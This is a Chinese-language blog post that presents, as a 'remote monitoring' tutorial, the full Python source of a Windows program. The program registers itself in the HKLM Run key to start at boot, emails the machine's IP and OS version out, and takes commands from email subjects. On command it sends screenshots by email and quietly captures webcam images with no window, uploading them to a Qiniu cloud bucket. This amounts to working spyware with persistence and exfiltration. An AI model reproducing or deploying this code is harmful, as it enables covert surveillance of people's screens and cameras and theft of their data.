這篇文章主要介紹了python操作網路攝影機實現遠程監控的例子,例子中包含了控制網路攝影機、寫入Windows註冊表方法等,需要的朋友可以參考下
最近用python寫了一個遠程監控的程式,主要功能有:
1.用郵件控制所以功能
2.可以對螢幕,螢幕發送到郵箱
3.可以用網路攝影機擷取圖片,這些圖片上傳到七牛
4.開機自啟動
##coding by loster#import win32apiimport win32conimport platformimport socketimport timeimport osimport smtplibimport poplibfrom VideoCapture import Devicefrom email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImageimport poplib,emailfrom email.header import decode_headerfrom PIL import ImageGrabimport qiniu.confimport qiniu.ioimport qiniu.rs#去七牛申請qiniu.conf.ACCESS_KEY = ""qiniu.conf.SECRET_KEY = ""#擷取ipdef getIP(): ip=socket.gethostbyname(socket.gethostname()) return ip#擷取作業系統版本、def getSystemVersion(): return platform.platform()def send_Information(ip,system_version): info='ip:'+ip+' '+'system version:'+system_version print info smtp=smtplib.SMTP() smtp.connect('smtp.sina.com') smtp.login('sender@sina.com','***') #改成自己的郵箱和密碼 smtp.sendmail('sender@sina.com','reveicer@qq.com',ip+' '+system_version)#把接收郵箱改成自己另外一個郵箱#,圖片名為時間def screen_capture(): #擷取時間 pic_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) #pic_name='screen_capture'+time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic_name='screen'+pic_time+'.jpg' pic = ImageGrab.grab() pic.save('%s' % pic_name) print pic_name #發送圖片 send_Img(pic_time,pic_name) print pic_name os.remove(pic_name)#刪除圖片#發送圖片到郵箱def send_Img(pic_time,pic_name): msgRoot = MIMEMultipart('related') msgRoot['Subject'] = pic_time msgText = MIMEText('<b>capture</b> <br><img src="cid:image1">','html','utf-8') msgRoot.attach(msgText) #fp = open('F:\\1.jpg', 'rb') fp = open(pic_name, 'rb') msgImage = MIMEImage(fp.read()) fp.close() msgImage.add_header('Content-ID', '<image1>') msgRoot.attach(msgImage) smtp = smtplib.SMTP() smtp.connect('smtp.sina.com','25') smtp.login("sender@sina.com","*****") smtp.sendmail("sender@sina.com","receiver@qq.com", msgRoot.as_string()) smtp.quit() print 'send success'#網路攝影機,每隔SLEEP_TIME秒截取一張def camera_capture(): #抓取頻率 SLEEP_TIME=3 i=0 cam=Device(devnum=0, showVideoWindow=0) while i<10: cam_time=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) cam_name='camera'+cam_time+'.jpg' cam.saveSnapshot(cam_name,3,1,'bl') camera_upload(cam_name) print str(i)+cam_name os.remove(cam_name) time.sleep(SLEEP_TIME) i+=1 #上傳到七牛 def camera_upload(file): policy = qiniu.rs.PutPolicy('iloster') #空間名,iloster是我的空間名 uptoken = policy.token() ret, err = qiniu.io.put_file(uptoken, None, file) if err is not None: sys.stderr.write('error: %s ' % err)#擷取最新郵件def accept_mail(): pop=poplib.POP3_SSL('pop.qq.com') pop.user('receiver@qq.com') pop.pass_('*****') #擷取郵件數目 (num,totalSize)=pop.stat() #擷取最新的郵件 (heard,msg,octets)=pop.retr(num) mail=email.message_from_string("\n".join(msg)) subject=email.Header.decode_header(mail['subject'])[0][0] #標題 pop.quit() return subject#獲得程式的路徑def getPath(): path=os.getcwd()+'\Remote.exe' #最後打包的exe程式名必須為Remote.exe,或者把這裡改一下 print path return path#添加開機自啟動,在註冊表裡註冊def add_start(path): subkey='SOFTWARE\Microsoft\Windows\CurrentVersion\Run' key=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,subkey,0,win32con.KEY_ALL_ACCESS) #print win32api.RegQueryValueEx(key,'python') win32api.RegSetValueEx(key,'python',0,win32con.REG_SZ,path) print win32api.RegQueryValueEx(key,'python')if __name__=='__main__': add_start(getPath()) #添加開機自啟動 send_Information(getIP(),getSystemVersion()) while 1: #不斷的監聽 if accept_mail()=='screen': #當擷取的郵件主題為screen時,截取螢幕資訊 screen_capture() elif accept_mail()=='camera': camera_capture()
注意:
1.我的發送郵箱是sina郵箱,接收郵箱是qq郵箱,這樣做是因為可以綁定qq郵箱。
2.accept_mail()監聽的郵箱是自己的接收郵箱,就是我用的qq郵箱
3.當監聽到screen時,開始畫面並發送到郵箱,由於監聽的是最新的郵件,當圖片發送帶郵箱時,擷取的郵件主題不是screen了,應該會停止,最後只會截取一張圖片,繼續保持監聽狀態。但實際由於網路的原因,發送的郵件會有延遲,所以,實際截取的圖片會有很多張
4.當監聽到camera時,會用網路攝影機,如果把while i<10,改成i=1,會讓網路攝影機一直,並使其他命令失效,所以我i<10,就是每擷取一次命令,10張